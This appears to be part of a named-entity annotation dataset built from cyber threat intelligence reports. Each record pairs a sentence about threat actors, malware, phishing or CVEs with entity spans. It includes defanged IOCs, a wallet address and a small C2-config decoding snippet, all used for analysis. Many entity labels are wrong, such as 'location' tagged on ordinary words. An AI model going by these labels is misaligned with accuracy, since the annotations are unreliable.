{"id":3436,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388.","entities":[{"id":49195,"label":"vulnerability","start_offset":206,"end_offset":219},{"id":49196,"label":"vulnerability","start_offset":107,"end_offset":142},{"id":49193,"label":"TIME","start_offset":53,"end_offset":67},{"id":49194,"label":"identity","start_offset":69,"end_offset":71},{"id":49197,"label":"tools","start_offset":150,"end_offset":162}],"relations":[{"id":750,"from_id":49196,"to_id":49195,"type":"duplicate-of"},{"id":751,"from_id":49197,"to_id":49195,"type":"has"}],"Comments":[]}
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{"id":567,"text":"Figure 6 is a screenshot of a recently captured Virlock ransom note.","entities":[{"id":44781,"label":"malware","start_offset":48,"end_offset":55}],"relations":[],"Comments":[]}
{"id":10514,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":31984,"label":"location","start_offset":66,"end_offset":76},{"id":31985,"label":"location","start_offset":109,"end_offset":117},{"id":31986,"label":"location","start_offset":123,"end_offset":126},{"id":31987,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":31988,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
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{"id":10401,"text":"Connect to the C&C server every 10 seconds to download, save, and execute script files containing the commands.","entities":[{"id":31646,"label":"TIME","start_offset":26,"end_offset":42},{"id":31647,"label":"location","start_offset":56,"end_offset":60},{"id":31648,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
{"id":3772,"text":"Presently, customers may leverage the following to block or detect the threats communicated throughout this publication:","entities":[],"relations":[],"Comments":[]}
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{"id":2595,"text":"This included the soon-to-be de rigueur data exfiltration and deletion technique, and also redirection of some DNS records.","entities":[],"relations":[],"Comments":[]}
{"id":7653,"text":"Using Kronos and SmokeLoader (v2019) TA505 previously used Amadey to distribute the FlawedAmmyy downloader before, so the use of Kronos and SmokeLoader can\u2019t be considered strong evidence of false attribution.","entities":[{"id":23802,"label":"location","start_offset":13,"end_offset":16},{"id":23803,"label":"malware","start_offset":17,"end_offset":28},{"id":23808,"label":"location","start_offset":136,"end_offset":139},{"id":23810,"label":"location","start_offset":172,"end_offset":178}],"relations":[],"Comments":[]}
{"id":4842,"text":"Some hack-for-hire attackers openly advertise their products and services to anyone willing to pay, while others operate more discreetly selling to a limited audience.","entities":[{"id":50798,"label":"attack-pattern","start_offset":5,"end_offset":18}],"relations":[],"Comments":[]}
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{"id":224,"text":"Figure 8 shows that the number of Ukraine-related phishing\/scam sites is currently continuing to rise about a month after the \u201cUkraine aid\u201d search term started trending in Google search.","entities":[{"id":747,"label":"attack-pattern","start_offset":50,"end_offset":58},{"id":45924,"label":"attack-pattern","start_offset":59,"end_offset":69},{"id":45926,"label":"location","start_offset":34,"end_offset":41},{"id":45927,"label":"SOFTWARE","start_offset":172,"end_offset":178}],"relations":[],"Comments":[]}
{"id":5032,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]}
{"id":322,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":5546,"text":"Unfortunately, there\u2019s nothing obvious that differentiates a website infected with Magecart from any other site.","entities":[{"id":51539,"label":"malware","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
{"id":743,"text":"This year Microsoft has already patched 126 IE vulnerabilities to date.","entities":[{"id":46335,"label":"identity","start_offset":10,"end_offset":19}],"relations":[],"Comments":[]}
{"id":201,"text":"These attacks impacted Ukrainian government organizations including the Ministry of Defense, Ministry of Foreign Affairs, Armed Forces of Ukraine and the publicly funded broadcaster Ukrainian Radio.","entities":[{"id":44616,"label":"identity","start_offset":23,"end_offset":43},{"id":44617,"label":"identity","start_offset":72,"end_offset":91},{"id":44618,"label":"identity","start_offset":93,"end_offset":120},{"id":44619,"label":"identity","start_offset":122,"end_offset":145},{"id":44620,"label":"identity","start_offset":182,"end_offset":197}],"relations":[],"Comments":[]}
{"id":2597,"text":"This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.","entities":[{"id":47788,"label":"threat-actor","start_offset":47,"end_offset":54},{"id":47789,"label":"location","start_offset":68,"end_offset":77}],"relations":[{"id":356,"from_id":47788,"to_id":47789,"type":"located-at"}],"Comments":[]}
{"id":14226,"text":"How is GitHub abused?","entities":[{"id":48412,"label":"SOFTWARE","start_offset":7,"end_offset":14}],"relations":[],"Comments":[]}
{"id":813,"text":" Ignite '17 Security Conference: Vancouver, BC June 12\u201315, 2017  Ignite '17 Security Conference is a live, four-day conference designed for today\u2019s security professionals.","entities":[{"id":46365,"label":"TIME","start_offset":47,"end_offset":63},{"id":46366,"label":"location","start_offset":33,"end_offset":46}],"relations":[],"Comments":[]}
{"id":13995,"text":"Recently, we uncovered the Operation Earth Kitsune campaign and published a detailed analysis of its tactics, techniques, and procedures (TTPs).","entities":[{"id":48780,"label":"campaign","start_offset":27,"end_offset":50}],"relations":[],"Comments":[]}
{"id":13852,"text":"Updated May 17, 2021, 3:25 a.m. Eastern Time:","entities":[{"id":42957,"label":"TIME","start_offset":22,"end_offset":44}],"relations":[],"Comments":[]}
{"id":7247,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
{"id":6164,"text":"Appending their malicious script to the victim\u2019s email signature to propagate the infection to their contacts.","entities":[],"relations":[],"Comments":[]}
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{"id":5587,"text":"     Figure 5. Infected Linux device connected to a C&C server     ","entities":[],"relations":[],"Comments":[]}
{"id":477,"text":"New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA\u2019s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.","entities":[],"relations":[],"Comments":[]}
{"id":13267,"text":"TClient is injected into dllhost.exe Malware Analysis  wab32res.dll (FakeRun loader) loads TClient.","entities":[{"id":41339,"label":"malware","start_offset":0,"end_offset":7},{"id":41340,"label":"malware","start_offset":91,"end_offset":98}],"relations":[],"Comments":[]}
{"id":149,"text":"The most common way ransomware operators levy attacks is through email or by web browsing to malicious or compromised sites.","entities":[{"id":45848,"label":"attack-pattern","start_offset":65,"end_offset":123}],"relations":[],"Comments":[]}
{"id":6807,"text":" Network destination for template injection: 176[.]119[.]147[.]225 Network destination for VBS: 176[.]57[.]215[.]115  These IP addresses are from Russian hosting companies.","entities":[{"id":21172,"label":"IPV4","start_offset":45,"end_offset":66},{"id":21173,"label":"IPV4","start_offset":96,"end_offset":116},{"id":21174,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
{"id":11099,"text":"As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.","entities":[{"id":33895,"label":"location","start_offset":65,"end_offset":69},{"id":33896,"label":"attack-pattern","start_offset":77,"end_offset":93}],"relations":[],"Comments":[]}
{"id":523,"text":"Web hosting ransomware can also be downloaded and successfully installed through a multi-layered infection chain among different file types.","entities":[{"id":46150,"label":"attack-pattern","start_offset":0,"end_offset":22}],"relations":[],"Comments":[]}
{"id":3658,"text":"Among these cybercriminals are financially motivated threat groups Carbanak and FIN7.","entities":[{"id":49428,"label":"threat-actor","start_offset":80,"end_offset":84},{"id":49427,"label":"threat-actor","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]}
{"id":13292,"text":"Figure 13.","entities":[],"relations":[],"Comments":[]}
{"id":1119,"text":"This results in a few hundred thousand individual mutexes available for further analysis.","entities":[],"relations":[],"Comments":[]}
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{"id":3637,"text":"Once Charlie has access to Alice\u2019s email account, he then finds email conversations between Alice and Bob, his ultimate target.","entities":[],"relations":[],"Comments":[]}
{"id":4571,"text":"They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.","entities":[{"id":50413,"label":"TIME","start_offset":110,"end_offset":115},{"id":50411,"label":"attack-pattern","start_offset":26,"end_offset":68},{"id":50412,"label":"identity","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
{"id":1967,"text":"Before starting analysis, we needed to set up a test environment.","entities":[],"relations":[],"Comments":[]}
{"id":5342,"text":"Core component code that receives and decrypts data from the C&C server      If something is received, it is decrypted and written to the main pipe.","entities":[],"relations":[],"Comments":[]}
{"id":3262,"text":"1.      The \u201cnotice\u201d handler is used for checking the connection with the C&C server.","entities":[],"relations":[],"Comments":[]}
{"id":8691,"text":"No longer do groups need to have the technical expertise, now they just need resources.","entities":[{"id":26836,"label":"identity","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
{"id":9674,"text":"For the initial information packet, the backdoor also collects the following:  Figure 15.","entities":[],"relations":[],"Comments":[]}
{"id":5109,"text":"And the reason why I want to tackle this today is because I've had some conversations in the last few days that have really kind of hit that idea bulb that people don't truly understand how cybercriminals get away with their crimes in the organization.","entities":[],"relations":[],"Comments":[]}
{"id":10404,"text":"A partial code snippet of AutoHotkeyu32.ahk  Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":2282,"text":"Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.","entities":[{"id":47354,"label":"SOFTWARE","start_offset":80,"end_offset":100}],"relations":[],"Comments":[]}
{"id":985,"text":" Conclusion  Even popular third party monetization platforms are not always trustworthy.","entities":[],"relations":[],"Comments":[]}
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{"id":13959,"text":"A successful attack on a company providing critical services will have rippling effects that will harm multiple sectors of society, which is why protecting these services should be a top priority.","entities":[],"relations":[],"Comments":[]}
{"id":14257,"text":"Abusing popular platforms like GitHub enables threat actors like Winnti to maintain network persistence between compromised computers and their servers, while staying under the radar.","entities":[{"id":48451,"label":"threat-actor","start_offset":65,"end_offset":72}],"relations":[],"Comments":[]}
{"id":1943,"text":"The header for a sample document can be seen below.","entities":[],"relations":[],"Comments":[]}
{"id":4585,"text":"In March 2021, Microsoft kicked off the patch cycle early after releasing an advisory regarding the mass exploitation of four zero-days vulnerabilities by a Chinese Hacking group, HAFNIUM, on the on-premises versions of the Microsoft Exchange Server.","entities":[{"id":50436,"label":"TIME","start_offset":3,"end_offset":13},{"id":50437,"label":"identity","start_offset":15,"end_offset":24},{"id":50438,"label":"vulnerability","start_offset":126,"end_offset":151},{"id":50439,"label":"threat-actor","start_offset":180,"end_offset":187},{"id":50440,"label":"location","start_offset":157,"end_offset":164},{"id":50441,"label":"SOFTWARE","start_offset":196,"end_offset":249}],"relations":[{"id":971,"from_id":50439,"to_id":50440,"type":"located-at"},{"id":972,"from_id":50439,"to_id":50438,"type":"exploits"},{"id":973,"from_id":50441,"to_id":50438,"type":"has"}],"Comments":[]}
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{"id":1712,"text":"In this case a legitimate service (Tor) was being abused by CryptoWall so it could avoid having its C2 servers shut down.","entities":[{"id":5086,"label":"malware","start_offset":60,"end_offset":70},{"id":5085,"label":"tools","start_offset":35,"end_offset":38}],"relations":[{"id":249,"from_id":5086,"to_id":5085,"type":"uses"}],"Comments":[]}
{"id":522,"text":"For example, the URL links can be posted on forums or chat group software, sent by IM applications, offered via fake freeware for download or attached in emails.","entities":[{"id":45793,"label":"attack-pattern","start_offset":112,"end_offset":125},{"id":46149,"label":"attack-pattern","start_offset":142,"end_offset":160}],"relations":[],"Comments":[]}
{"id":4799,"text":"Google\u2019s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":50699,"label":"location","start_offset":140,"end_offset":147},{"id":50697,"label":"identity","start_offset":0,"end_offset":36},{"id":50698,"label":"identity","start_offset":99,"end_offset":113}],"relations":[],"Comments":[]}
{"id":11942,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":4010,"text":"To mitigate such risk, organizations must think globally and exert efforts to follow codes of local culture.","entities":[],"relations":[],"Comments":[]}
{"id":9630,"text":"This is shown in the figure below.","entities":[],"relations":[],"Comments":[]}
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{"id":3310,"text":"The command that we received showed that the targeted browsers include Google Chrome, Microsoft Edge Beta, 360 Chrome, QQ Browser, 2345 Explorer, Sogou Explorer, and 360 Safe Browser.","entities":[{"id":48390,"label":"SOFTWARE","start_offset":71,"end_offset":84},{"id":48394,"label":"SOFTWARE","start_offset":131,"end_offset":144},{"id":48395,"label":"SOFTWARE","start_offset":146,"end_offset":160},{"id":48396,"label":"SOFTWARE","start_offset":166,"end_offset":182},{"id":48391,"label":"SOFTWARE","start_offset":86,"end_offset":105},{"id":48392,"label":"SOFTWARE","start_offset":107,"end_offset":117},{"id":48393,"label":"SOFTWARE","start_offset":119,"end_offset":129}],"relations":[],"Comments":[]}
{"id":6099,"text":"Recently, FireEye published a blog titled \u201cOperation Poisoned Hurricane\u201d which detailed the use of PlugX malware variants signed with legitimate certificates that used Google Code project pages for command and control (C2).","entities":[{"id":18858,"label":"location","start_offset":62,"end_offset":71},{"id":18859,"label":"malware","start_offset":99,"end_offset":104},{"id":18860,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]}
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{"id":411,"text":"As that trend shows no sign of slowing down anytime soon, we can expect this to remain a very lucrative avenue for attackers.","entities":[],"relations":[],"Comments":[]}
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{"id":11187,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]}
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{"id":65,"text":"A normal PC used to mine Monero can earn around US$0.25 per day at the current prices.","entities":[{"id":45824,"label":"SOFTWARE","start_offset":25,"end_offset":31}],"relations":[],"Comments":[]}
{"id":10153,"text":"We were able to collect evidence that credential phishing emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential elections in Iran.","entities":[{"id":30973,"label":"attack-pattern","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
{"id":7724,"text":"The .NET downloads jm1 \u2014 an .MSI installer \u2014 that installs another NSIS installer, leading to a ServHelper infection in the system.","entities":[{"id":23993,"label":"malware","start_offset":67,"end_offset":71},{"id":23994,"label":"malware","start_offset":96,"end_offset":106}],"relations":[],"Comments":[]}
{"id":1128,"text":"With the appropriate tools it\u2019s possible to enable a single researcher to continually review and categorize new mutexes.","entities":[],"relations":[],"Comments":[]}
{"id":10235,"text":" Recap of recent Pawn Storm activities Compromising accounts of users from the Middle East Trend Micro has been closely and consistently monitoring the activities of Pawn Storm, and in March 2020, we released our latest research on the group.","entities":[{"id":31264,"label":"location","start_offset":120,"end_offset":123},{"id":31265,"label":"threat-actor","start_offset":166,"end_offset":176},{"id":31266,"label":"location","start_offset":178,"end_offset":181}],"relations":[],"Comments":[]}
{"id":7857,"text":"As of July 7, this includes 85.8% of active Android devices.","entities":[],"relations":[],"Comments":[]}
{"id":8199,"text":"Table 1. Domains registered using the email address  ","entities":[],"relations":[],"Comments":[]}
{"id":913,"text":"By comparison, the latest version of the CryptoWall malware family takes roughly 1-3 minutes to complete its encryption routine.","entities":[{"id":2888,"label":"malware","start_offset":41,"end_offset":51},{"id":2889,"label":"TIME","start_offset":73,"end_offset":92}],"relations":[],"Comments":[]}
{"id":583,"text":"Cortex XDR endpoint protection stops malware, exploits and ransomware before they can compromise endpoints.","entities":[{"id":46179,"label":"SOFTWARE","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":2972,"text":"Preferably, find a password manager that requires two-factor authentication.  2. Protect Your Home Routers and Wi-Fi:","entities":[],"relations":[],"Comments":[]}
{"id":1161,"text":"If this functionality were available in some more open source setting, and was of even moderate quality, we would expect to see it used in other malware families as well.","entities":[],"relations":[],"Comments":[]}
{"id":6008,"text":"Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.","entities":[{"id":18535,"label":"attack-pattern","start_offset":153,"end_offset":161},{"id":18537,"label":"location","start_offset":205,"end_offset":208},{"id":18539,"label":"location","start_offset":257,"end_offset":260}],"relations":[],"Comments":[]}
{"id":230,"text":" Figure 9. hxxps:\/\/startrackzm[.]com\/wap-admin\/ONE-DRIVE\/one%20d%20%20no%20auto.php?Email=REDACTED@REDACTED.gov.ua.","entities":[{"id":45930,"label":"URL","start_offset":11,"end_offset":114}],"relations":[],"Comments":[]}
{"id":4462,"text":"We remediated the compromises for these users and implemented controls to protect all Android users.","entities":[{"id":50246,"label":"SOFTWARE","start_offset":86,"end_offset":93}],"relations":[],"Comments":[]}
{"id":9650,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":1874,"text":"The below example shows that the blocking works (output from the \"sc start\" command):","entities":[],"relations":[],"Comments":[]}
{"id":2140,"text":"With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.","entities":[],"relations":[],"Comments":[]}
{"id":12680,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":39345,"label":"location","start_offset":37,"end_offset":43},{"id":39346,"label":"malware","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
{"id":1899,"text":"Upon writing this entry, we\u2019ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store.","entities":[{"id":45172,"label":"identity","start_offset":48,"end_offset":54},{"id":45173,"label":"SOFTWARE","start_offset":167,"end_offset":184}],"relations":[],"Comments":[]}
{"id":2347,"text":"We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again.","entities":[{"id":47401,"label":"TIME","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]}
{"id":13080,"text":"What are your thoughts on the ransomware attacks on retailers as we approach the busiest times of the year for retailers, including Black Friday, Cyber Monday and the holiday season?","entities":[],"relations":[],"Comments":[]}
{"id":6483,"text":"LIGOLO execution example","entities":[],"relations":[],"Comments":[]}
{"id":2421,"text":"This means that web users can get a class object remotely by simply submitting a URL as shown in Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":4044,"text":"Fortunately, we were still able to collect the decryption key in some cases and we decrypted the payload successfully.","entities":[],"relations":[],"Comments":[]}
{"id":6765,"text":"In 2018, CERT-UA published an advisory against the malware Pterodo, which the group allegedly used.","entities":[],"relations":[],"Comments":[]}
{"id":9911,"text":"The APT33 actors then issue commands to the bots and collect data from the bots using these VPN connections.","entities":[{"id":30245,"label":"threat-actor","start_offset":4,"end_offset":9},{"id":30246,"label":"location","start_offset":22,"end_offset":27},{"id":30247,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
{"id":10621,"text":"Although much of Sandworm\u2019s activity targeting Ukraine and their attacks against the 2018 Winter Olympics have been covered publicly, some campaigns have not been reported.","entities":[{"id":32401,"label":"location","start_offset":9,"end_offset":13},{"id":32402,"label":"threat-actor","start_offset":17,"end_offset":25},{"id":32404,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
{"id":5060,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.","entities":[{"id":51165,"label":"location","start_offset":72,"end_offset":82},{"id":51166,"label":"campaign","start_offset":145,"end_offset":174},{"id":15621,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":15623,"label":"threat-actor","start_offset":57,"end_offset":68}],"relations":[{"id":1064,"from_id":15623,"to_id":51165,"type":"located-at"},{"id":1065,"from_id":15623,"to_id":51166,"type":"uses"}],"Comments":[]}
{"id":11485,"text":"The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.","entities":[],"relations":[],"Comments":[]}
{"id":9990,"text":"View active directory objects dsquery.exe DsQuery","entities":[{"id":30504,"label":"location","start_offset":0,"end_offset":4},{"id":30505,"label":"malware","start_offset":30,"end_offset":41},{"id":30506,"label":"malware","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]}
{"id":4730,"text":"Among other targets, this spyware was used to compromise journalists and opposition politicians.","entities":[],"relations":[],"Comments":[]}
{"id":2125,"text":"The following two conditions must both be met for a system to be vulnerable to attack:  If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.","entities":[{"id":47262,"label":"vulnerability","start_offset":232,"end_offset":246},{"id":47263,"label":"SOFTWARE","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
{"id":8258,"text":"The obfuscation used was not particularly sophisticated.","entities":[],"relations":[],"Comments":[]}
{"id":183,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  ","entities":[],"relations":[],"Comments":[]}
{"id":1857,"text":"     Figure 24. Running more system network configuration discovery scans","entities":[{"id":5442,"label":"attack-pattern","start_offset":29,"end_offset":67}],"relations":[],"Comments":[]}
{"id":13617,"text":"This oplib.dll library is then sideloaded.","entities":[{"id":51707,"label":"FILEPATH","start_offset":5,"end_offset":14}],"relations":[],"Comments":[]}
{"id":6519,"text":"  MITRE ATT&CK Techniques Mapping  Tactic  Technique  Resource Development  Acquire Infrastructure: Web Services \u2013 T1583.006  Initial Access  Phishing: Spearphishing Attachment \u2013 T1566.001 Phishing: Spearphishing Link \u2013 T1566.002  Execution  Command and Scripting Interpreter: PowerShell \u2013 T1059.001","entities":[{"id":20197,"label":"attack-pattern","start_offset":142,"end_offset":150},{"id":20198,"label":"attack-pattern","start_offset":152,"end_offset":176},{"id":20199,"label":"attack-pattern","start_offset":189,"end_offset":197},{"id":20200,"label":"attack-pattern","start_offset":199,"end_offset":217},{"id":20201,"label":"location","start_offset":250,"end_offset":253},{"id":20202,"label":"attack-pattern","start_offset":254,"end_offset":263},{"id":20203,"label":"attack-pattern","start_offset":277,"end_offset":287}],"relations":[],"Comments":[]}
{"id":2317,"text":"It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.","entities":[{"id":47388,"label":"SOFTWARE","start_offset":37,"end_offset":48},{"id":47391,"label":"SOFTWARE","start_offset":119,"end_offset":127},{"id":47390,"label":"SOFTWARE","start_offset":64,"end_offset":94}],"relations":[],"Comments":[]}
{"id":3494,"text":"b64_data = str[len(\"magnet:?xt=urn:bhih:\"): tail] b64_decode = base64.b64decode(b64_data) key = ord(b64_decode[2]) data = b64_decode[4:] output_file = open(\"C2_info\", \"wb\")     for single_byte in data: output_file.write(chr(ord(single_byte) ^ key)) output_file.close()","entities":[],"relations":[],"Comments":[]}
{"id":4652,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
{"id":1150,"text":"\u201cjh\u201d itself is more common than would be expected given that, with fingers on the home row, it requires the right index finger to move and press another key before any other key is struck.","entities":[],"relations":[],"Comments":[]}
{"id":474,"text":" What can I do about it?","entities":[],"relations":[],"Comments":[]}
{"id":1319,"text":" FormerFirstRAT  This remote administration tool (RAT) is referred to as \u201cFormerFirstRAT\u201d by its authors.","entities":[{"id":3989,"label":"malware","start_offset":1,"end_offset":15},{"id":3992,"label":"malware","start_offset":74,"end_offset":88}],"relations":[],"Comments":[]}
{"id":2414,"text":"It contains the core, beans, context and Spring Expression Language (SpEL) modules.","entities":[{"id":47492,"label":"SOFTWARE","start_offset":41,"end_offset":74}],"relations":[],"Comments":[]}
{"id":558,"text":"During the operation, 25.1 BTC from 538 wallets was sent to 1NDyJtNTjmwk5xPNhjgAMu4HDHigtobu1s (SHA256: CE11703DEF517306326C48A67A7C859A3DE0F18E2451DF226CE171389A5B7953), which is a wallet owned by Binance cryptocurrency exchange.","entities":[{"id":1845,"label":"SHA2","start_offset":104,"end_offset":168},{"id":44776,"label":"identity","start_offset":198,"end_offset":229}],"relations":[{"id":164,"from_id":44776,"to_id":1845,"type":"owns"}],"Comments":[]}
{"id":5247,"text":"Sphinx was active between June 2014 and November 2015, but timestamps of the malware indicate the attacks started as early as 2011.","entities":[{"id":51283,"label":"TIME","start_offset":26,"end_offset":35},{"id":51285,"label":"TIME","start_offset":126,"end_offset":130},{"id":51282,"label":"campaign","start_offset":0,"end_offset":6},{"id":51284,"label":"TIME","start_offset":40,"end_offset":53}],"relations":[],"Comments":[]}
{"id":14186,"text":"Oil and gas, banking and defense sectors are most likely to top of the list of targets.","entities":[],"relations":[],"Comments":[]}
{"id":9102,"text":"During this time we developed URL-based signatures and used them to detect Lurk-related network traffic.","entities":[{"id":28099,"label":"location","start_offset":12,"end_offset":16},{"id":28100,"label":"location","start_offset":51,"end_offset":54},{"id":28101,"label":"location","start_offset":60,"end_offset":64},{"id":28102,"label":"malware","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
{"id":5023,"text":"Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.","entities":[],"relations":[],"Comments":[]}
{"id":14196,"text":"But on top of that, organizations must have the detection and response tooling, ideally XDR, to correlate, prioritize and act on high fidelity alerts with speed and precision.","entities":[],"relations":[],"Comments":[]}
{"id":5334,"text":"     The server must reply with an exact four-byte answer, which is the victim's IPv4 address.","entities":[],"relations":[],"Comments":[]}
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{"id":5211,"text":"Table 3 shows that the BAF is greater than one, implying there are asymmetric network flows although the values are at the order of magnitude lower than modern amplification attacks (note that Memcached can reach 10,000 to 51,000 BAF).","entities":[],"relations":[],"Comments":[]}
{"id":11549,"text":"This group also has links to the original developers of H-Worm, also known as njRAT.","entities":[{"id":35390,"label":"malware","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]}
{"id":5165,"text":"How are you looking for visibility across all of your systems?","entities":[],"relations":[],"Comments":[]}
{"id":2308,"text":"The macOS exploits did not use the same framework as iOS ones.","entities":[{"id":47374,"label":"SOFTWARE","start_offset":4,"end_offset":9},{"id":47375,"label":"SOFTWARE","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
{"id":11173,"text":"We terminated 1,312 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":13729,"text":"The typical Waterbear infection chain  Figure 1.","entities":[{"id":42690,"label":"tools","start_offset":12,"end_offset":21}],"relations":[],"Comments":[]}
{"id":13343,"text":"The screenshot in Figure 2 shows how the threat actor uses SMB and internal IIS Web Service to copy \"lc.tmp\" (the main ransomware loader in this incident) to other victims' host machines.","entities":[{"id":41526,"label":"location","start_offset":63,"end_offset":66},{"id":41527,"label":"attack-pattern","start_offset":80,"end_offset":91},{"id":41528,"label":"location","start_offset":173,"end_offset":177}],"relations":[],"Comments":[]}
{"id":12356,"text":"Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.","entities":[],"relations":[],"Comments":[]}
{"id":11193,"text":" HYPERSCRAPE requires the victim\u2019s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]}
{"id":8123,"text":" Figure 10. Steps FileCrypt Manager prompts user to do","entities":[],"relations":[],"Comments":[]}
{"id":12824,"text":"Similar Objectives.","entities":[],"relations":[],"Comments":[]}
{"id":10605,"text":"In the past, we\u2019ve posted on issues like phishing campaigns, vulnerabilities and disinformation.","entities":[{"id":32350,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":32351,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
{"id":4170,"text":"    Code Similarity","entities":[],"relations":[],"Comments":[]}
{"id":1884,"text":"In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes.","entities":[],"relations":[],"Comments":[]}
{"id":5554,"text":"They use a one-time generated series of numbers for each transaction, so that if attackers get their hands on it, they won\u2019t be able to use it in the future.","entities":[],"relations":[],"Comments":[]}
{"id":3893,"text":"According to the agency, critical infrastructure owners and operators should also adopt an \"heightened state of awareness\".","entities":[],"relations":[],"Comments":[]}
{"id":4823,"text":"Ghostwriter\/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.","entities":[{"id":50766,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":50767,"label":"threat-actor","start_offset":12,"end_offset":19},{"id":50768,"label":"location","start_offset":50,"end_offset":57}],"relations":[{"id":1011,"from_id":50767,"to_id":50766,"type":"duplicate-of"},{"id":1012,"from_id":50766,"to_id":50768,"type":"attributed-to"}],"Comments":[]}
{"id":7071,"text":"On two occasions (in March and October 2020), we found a kernel rootkit that had been deployed.","entities":[{"id":22150,"label":"location","start_offset":27,"end_offset":30},{"id":22152,"label":"attack-pattern","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
{"id":5219,"text":"Proper supply chain management processes allow contextualization, tracking, and monitoring of new vulnerabilities within different downstream software using a specific library such as DDS.","entities":[],"relations":[],"Comments":[]}
{"id":9348,"text":"It also receives commands from the C&C server to take screenshots, which it later sends to the server.","entities":[],"relations":[],"Comments":[]}
{"id":13695,"text":"Here are some tips on how to stay protected from email scams:  ","entities":[],"relations":[],"Comments":[]}
{"id":1819,"text":"Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.","entities":[{"id":46934,"label":"tools","start_offset":77,"end_offset":87},{"id":46936,"label":"attack-pattern","start_offset":91,"end_offset":113},{"id":46937,"label":"attack-pattern","start_offset":118,"end_offset":143}],"relations":[{"id":265,"from_id":46934,"to_id":46936,"type":"uses"},{"id":266,"from_id":46934,"to_id":46937,"type":"uses"}],"Comments":[]}
{"id":7269,"text":"Arrival","entities":[],"relations":[],"Comments":[]}
